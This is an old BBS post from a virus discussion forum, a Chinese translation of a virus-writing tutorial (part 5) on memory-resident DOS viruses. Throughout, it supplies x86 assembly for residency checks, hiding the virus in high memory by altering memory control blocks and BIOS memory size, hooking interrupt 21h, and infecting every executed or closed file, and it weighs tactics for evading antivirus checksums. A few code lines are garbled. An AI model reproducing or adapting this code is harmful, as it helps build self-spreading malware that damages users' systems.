- [10] TTL-病毒討論區 (89:100/1) ----------------------------------- TTL-VIRUS -
信件 : 35 of 35 Uns Loc
發信人: Andy Kao 89:100/1 Thu 01 Sep 94 19:52
收信人: All
標 題: 病毒寫作教學(5)
--------------------------------------------------------------------------------
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Dark Angel 病毒寫作指南5:常駐型病毒⑵
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
在閱讀了這份叢集的指南之後,你應該對寫作常駐型病毒有點想法。然而,我某些
不清楚的描述可能會讓你感到困擾。希望在這部分中能使你播雲見日。
~~~~
結構
~~~~
假使你上次錯過了這個部分,這裏將提供你有關常駐型病毒的一些基本概念。這種
病毒包含了兩大部分:載入機制以及攔截處理。載入機制提供了兩種功能。首先,它會
將中斷向量轉至病毒本身;其次,它將病毒常駐。而攔截處理則含有會導致感染檔案的
程式碼。廣義而言,處理機制會竄改第21號中斷並截斷某些可用於執行檔案的呼叫。
~~~~~~~~
載入機制
~~~~~~~~
載入機制包含了兩大部分:常駐程序以及還原程序。後者所做的,就如同非常駐型
病毒的一般,將控制權交回原始檔案。我會簡明地說明這點。
至今你應該已經了解感染.COM檔的奧義。只要把開頭前幾位元組換掉,控制權便移
轉到病毒上。還原.COM檔的秘訣僅僅只要將被覆蓋的那幾位元組還原即可。這個還原過
程發生在記憶體中,所以並不是永久的。由於.COM檔只佔單一節區,且總是由此節區內
偏移值 100h 處載入(因為要預留 PSP的空間),復原程序變的異常簡單。舉例而言,
假如名為"first3"的緩衝區內存放的是受病毒感染前檔案的前三位元組,則以下的程式
碼便會在記憶體中將原始碼還原:
mov di,100h ; Absolute location of destination
lea si,[bp+first3] ; Load address of saved bytes.
; Assume bp = "delta offset"
movsw ; Assume CS = DS = ES and a cleared direction flag
movsb ; Move three bytes
將控制權交還程式的問題仍然存在。亦即表示必須強迫程式將控制權移轉到偏移值
100h 的處。最簡單的解法就像:
mov di,100h
jmp di
這個程序有多種變化可以做到,但它們都達到將IP設為 100h 的基本要求。
現在,你應該也瞭解了感染.EXE檔的奧義。最簡易的手法就是替換.EXE檔檔頭的某
些固定的位元組。還原的秘訣就在於恢復所有病毒做過的修改。程式如下:
mov ax, es ; ES = segment of PSP
add ax, 10h ; Loading starts after PSP
add word ptr cs:[bp+OrigCSIP+2], ax ; Header segment value was
; relative to end of PSP
cli
add ax, word ptr cs:[bp+OrigSSSP+2] ; Adjust the stack as well
mov ss, ax
mov sp, word ptr cs:[bp+OrigSSSP]
sti
db 0eah ; JMP FAR PTR SEG:OFF
OrigCSIP dd ? ; Put values from the header
OrigSSSP dd ? ; into here
假如你想用.COM檔做為一個只會感染.EXE檔的病毒之載體,你只要輕鬆地將OrigCSIP
設為 FFF0:0000就好啦!這將會被還原程序還原成 PSP:0000 ,就是通常放第20號中斷
之處。
這些內容應該都不是新東西。現在我們要跨出通往新領域的步伐。達到常駐的方法
有兩種。第一種方法就是利用 DOS呼叫完成任務的「幼雉方法」。這方法實在幼雉,因
為⑴它很容易被先佔式的病毒監測程式欺騙,且⑵它會中斷程式的執行,因而使使用者
警覺到病毒的存在。我將不浪費任何程式碼在此法上,因為正如其名,它是給小孩子用
的方法。真正的病毒作者會自己寫常駐程序。最基本的便是「竄改 MCB」法。通則是:
① 簡查是否已常駐。若已經常駐,則跳出病毒。
② 找到記憶體頂端。
③ 配置高記憶體。
④ 複製病毒至高記憶體。
⑤ 置換中斷向量。
這個技巧有許多不同的風貌,在有需要時會一一討論。
~~~~~~~~
安裝查核
~~~~~~~~
安裝查核有評多不同的類別。最常見的就是呼叫第21號中斷,並在AX暫存器中放入
特定的值。假若由某特定暫存器傳回某特定值,那表示此病毒已經常駐過了。舉例而言
,一個確認常駐的範例如下:
mov ax,9999h ; residency check
int 21h
cmp bx,9999h ; returns bx=9999h if installed
jz already_installed
當你為了安裝查核,而要選放入AX的值時,記得不要衝到既有的呼叫,除非原本就
是無害的。比如說,不要使用秀字串在螢幕上的呼叫(ah=9),除非你希望在它第一次常
駐時發生不可預期的結果!而無害的呼叫,就像是取得 DOS版本(ah=30h)或是更新鍵盤
緩衝區(ah=0bh)的呼叫。當然,假若這個檢查與現有的功能衝到,那你必須非常小心的
確認沒有程式會對它感冒。舉例而言,不要只誘捕ah=30h,而是要誘捕ax=3030h或是將
ax=3030h以及bx=3030h同時誘導。
另一種檢查是否已常駐的方法就是去找尋病毒中的某些特徵。比如說,假若某病毒
總是將某未使用的中斷呼叫指向它本身,一個檢查的方法便是去找尋此特徵所使用的中
斷向量。如下:
xor ax,ax
mov ds,ax ; ds->interrupt table
les bx,ds:[60h*4] ; get address of interrupt 60h
; assume the virus traps this and puts its int 21h handler
; here
cmp es:bx,0FF2Eh ; search for the virus string
.
.
.
int60:
jmp far ptr cs
rigint21
當你使用此法時,請小心確認此特徵不會在病毒常駐時失效。在上例中,其它程式
就不能攔截 60h,否則查核會失效。甚至當病毒已載入記憶體時,會產生不可預期的後
果。
~~~~~~~~~~~~~~~~
尋找記憶體的頂端
~~~~~~~~~~~~~~~~
DOS 通常配置所有的記憶體給被載入的程式。利用這個知識,病毒可以很容易的得
到可使用的記憶體大小。重覆一次,MCB 的結構是:
Offset Size Meaning
------ ------- -------
0 BYTE 'M' or 'Z'
1 WORD Process ID (PSP of block's owner)
3 WORD Size in paragraphs
5 3 BYTES Reserved (Unused)
8 8 BYTES DOS 4+ uses this. Yay.
mov ax,ds ; Assume DS initially equals the segment of the PSP
dec ax
mov ds,ax ; DS = MCB of infected program
mov bx,ds:[3] ; Get MCB size (total available paragraphs to program)
一個有同樣效果卻更簡單的方法是按照下列方式使用DOS 的重配置記憶體呼叫:
mov ah,4ah ; Alter memory allocation (assume ES = PSP)
mov bx,0FFFFh ; Request a ridiculous amount of memory
int 21h ; Returns maximum available memory in BX
; This is the same value as in ds:[3]
~~~~~~~~~~~~
配置高記憶體
~~~~~~~~~~~~
配置記憶體最簡單的方法是透過DOS 完成你的工作:
mov ah,4ah ; Alter memory allocation (assume ES = PSP)
sub bx,(endvirus-startvirus+15)/16+1 ; Assume BX originally held total
; memory available to the program (returned by earlier
; call to int 21h/function 4ah
int 21h
mov ah,48h ; Allocate memory
mov bx,(endvirus-startvirus+15)/16
int 21h
mov es,ax ; es now holds the high memory segment
dec bx
mov byte ptr ds:[0], 'Z' ; probably not needed
mov word ptr ds:[1], 8 ; Mark DOS as owner of MCB
將MCB 的擁有者設為DOS 的目的是為了防止當載體程式結束時,記憶區段會被釋放
的後果。
當然,有人喜愛直接修改MCBs的值。這是很容易做到的。假設DS的值和載體程式MCB
的節位址相同,下面的程式提供了這種技巧:
; Step 1) Shrink the carrier program's memory allocation
; One paragraph is added for the MCB of the memory area which the virus
; will inhabit
sub ds:[3],(endvirus-startvirus+15)/16 + 1
; Step 2) Mark the carrier program's MCB as the last in the chain
; This isn't really necessary, but it assures that the virus will not
; corrupt the memory chains
mov byte ptr ds:[0],'Z'
; Step 3) Alter the program's top of memory field in the PSP
; This preserves compatibility with COMMAND.COM and any other program
; which uses the field to determine the top of memory
sub word ptr ds:[12h],(endvirus-startvirus+15)/16 + 1
; Step 4) Calculate the first usable segment
mov bx,ds:[3] ; Get MCB size
stc ; Add one for the MCB segment
adc bx,ax ; Assume AX still equals the MCB of the carrier file
; BX now holds first usable segment. Build the MCB
; there
; Alternatively, you can use the value in ds:[12h] as the first usable
; segment:
; mov bx,ds:[12h]
; Step 5) Build the MCB
mov ds,bx ; ds holds the area to build the MCB
inc bx ; es now holds the segment of the memory area controlled
mov es,bx ; by the MCB
mov byte ptr ds:[0],'Z' ; Mark the MCB as the last in the chain
; Note: you can have more than one MCB chain
mov word ptr ds:[1],8 ; Mark DOS as the owner
mov word ptr ds:[3],(endvirus-startvirus+15)/16 ; FIll in size field
下面則又是另一種直接修改MCB 的方法。
; Step 1) Shrink the carrier program's memory allocation
; Note that rounding is to the nearest 1024 bytes and there is no
; addition for an MCB
sub ds:[3],((endvirus-startvirus+1023)/1024)*64
; Step 2) Mark the carrier program's MCB as the last in the chain
mov byte ptr ds:[1],'Z'
; Step 3) Alter the program's top of memory field in the PSP
sub word ptr ds:[12h],((endvirus-startvirus+1023)/1024)*64
; Step 4) Calculate the first usable segment
mov es,word ptr ds:[12h]
; Step 5) Shrink the total memory as held in BIOS
; Memory location 0:413h holds the total system memory in K
xor ax,ax
mov ds,ax
sub ds:[413h],(endvirus-startvirus+1023)/1024 ; shrink memory size
後者比前者強大,因為它比前者簡單且短小。新的MCB 不需被建立,因為DOS 將不
再配置被病毒佔據的記憶體。修改記載在BIOS資料區有關記憶體大小的記錄可以保證這
個情形。
~~~~~~~~~~~~~~~~~~
複製病毒至高記憶體
~~~~~~~~~~~~~~~~~~
這真是件十分可笑的容易事。只要將ES對準高記憶體節區,DS對準CS,BP對準偏移
值,下面的程式碼便可以達到目的:
lea si,[bp+offset startvirus]
xor di,di ; destination @ 0
mov cx,(endvirus-startvirus)/2
rep movsw ; Copy away, use words for speed
~~~~~~~~~~~~
置換中斷向量
~~~~~~~~~~~~
再度,有兩個方式可以使用:透過DOS 或直接置換。每個有心的程式設計者都曾和
中斷向量奮鬥過。若透過DOS :
push es ; es->high memory
pop ds ; ds->high memory
mov ax,3521h ; get old int 21h handler
int 21h ; to es:bx
mov word ptr ds
ldint21,bx ; save it
mov word ptr ds
ldint21+2,es
mov dx,offset int21 ; ds:dx->new int 21h handler in virus
mov ax,2521h ; set handler
int 21h
而若直接修改:
xor ax,ax
mov ds,ax
lds bx,ds:[21h*4]
mov word ptr es:oldint21,bx
mov word ptr es:oldint21+2,ds
mov ds,ax
mov ds:[21h*4],offset int21
mov ds:[21h*4+2],es
由於變數的位置已經知道,位移值差距的計算並不十分重要。這是因為病毒總是載入至
高記憶體偏移值0的地方。
~~~~~~~~
攔截處理
~~~~~~~~
攔截處理機制是用於截斷DOS 的呼叫並轉接至病毒。傳統上,攔截處理是由一個檢
查安裝查核呼叫的步驟開始。舉例來說:
int21:
cmp ax,9999h ; installation check?
jnz not_installation_check
xchg ax,bx ; return bx = 9999h if installed
iret ; exit interrupt handler
not_installation_check:
; rest of interrupt handler goes here
在不妨礙的情形下,病毒可以竄改任何它想攔截的DOS 呼叫。通常最有竄改價值的呼叫
是檔案執行(ax=4b00h),如此一來,每個被執行的檔案都會被感染。另一個可以竄改的
呼叫是代碼關閉(雖然這要花較多的工夫)。這種感染就會發生在拷貝、觀看、補綴上
。在某些呼叫上,前置鏈結較好;反之,則用後置鏈結。就當做基本常識吧!假如被攔
截的呼叫將會破壞檔案或指位器,那麼使用前置鏈結。若是呼叫必須在感染前完成,那
就使用後置鏈結。(譯注:前置鏈結表示該呼叫在感染行為前串接,反之亦然)
前置鏈結很簡單:
pushf ; simulate an int 21h call
call dword ptr cs:oldint21
; The following code ensures that the flags will be properly set upon
; return to the caller
pushf
push bp
push ax
; flags [bp+10]
; calling CS:IP [bp+6]
; flags new [bp+4]
; bp [bp+2]
; ax [bp]
mov bp, sp ; setup stack frame
mov ax, [bp+4] ; get new flags
mov [bp+10], ax; replace the old with the new
pop ax ; restore stack
pop bp
popf
在鏈結完成,離開攔截處理時,使用 iret 較 retn 或 retf 為佳。後置鏈結更簡單:
jmp dword ptr cs:oldint21 ; this never returns to the virus int handler
當離開攔截處理時,請確認堆疊的完整及暫存器的原值。務必在前置鏈結之後及後置鏈
結前保存下暫存器的內值。
常駐式病毒的感染動作基本上和非常駐病毒是相同的。唯一的不同處是在當攔截處理竄
改感染程序中某個會用到的呼叫之時。比如說,若是要竄改代碼關閉呼叫,那麼感染程
序就要用一個指向原 int21h 處理器的程序把代碼關閉的呼叫換掉。就像:
pushf
call dword ptr cs:oldint21
對常駐病毒而言,當處理編碼過程時,這也是必須的。在非常駐病毒中,病毒碼在整個
過程中是沒有必要保存下來的。然而,就算是在感染發生時,保持解碼完的攔截處理程
式是值得做的。因此,病毒要在記憶體中留下兩份拷貝:一份就是程式而另一份視做資
料。編碼器就將後者編碼而保持攔截處理在程式中。這是相當重要的,尤其是當病毒還
會竄改其它中斷,如 int09h 或 int13h 時。
~~~~~~~~~~~~~~~~~~
常駐病毒的一項理論
~~~~~~~~~~~~~~~~~~
常駐病毒在傳統上可分為兩類:慢速傳染型及快速傳染型。這兩類各有其利弊得失。
慢速傳染型是除了檔案建立外都不感染的。這類病毒修改建檔程序,並在檔案關閉
時感染檔案。感染將發生在新檔的建立及檔案的拷貝上。這種病毒的一個缺點就是它散
佈的太慢了。然而,這個缺點也正是優點所在,它將可以保持長時間的不可偵測。雖然
感覺上此類病毒較無效率,不過事實上它們表現的不錯!在建檔時傳染,同時表示,那
些所謂的 Checksum/CRC 式防毒程式無法在感染之前對此檔案進行 Checksum/CRC 處理
。除此之外,檔案通常多由一個目錄拷貝至另一個不同的目錄。故此類病毒可行。
快速傳染型在執行檔案時傳染。這類病毒通常立即攻擊常用程式,以確保下次開機
後仍能存在於記憶體中。這是它們的主要優點,卻也是最大的缺點。因為這類病毒傳染
的十快速,使用者很容易會發現系統的不尋常;尤其是在病毒未使用任何隱形技巧之
時。
當然,沒人敢說那一種是較佳的。這是個人喜好的問題。雖然慢速傳染型病毒正在
急速增加,現今大多數病毒仍是快速感染型。
當病毒欲在建檔或拷貝時感染,它必須把檔名複製到緩衝區內,執行呼叫,並保存
代碼。當收到此代碼的關檔指示時,就利用剛保存的檔名去感染檔案。這是不用追入DOS
內部,僅是在關閉代碼後感染的一個最簡單的方法。
~~~~~~~~~~~~~~
若你還是不懂?
~~~~~~~~~~~~~~
別絕望,只要你多練習,你自然會懂。你將很快會發現,其實常駐式病毒比非常駐
式病毒好寫。這就是我想要說的;同時,也請你注意我下一次的教授。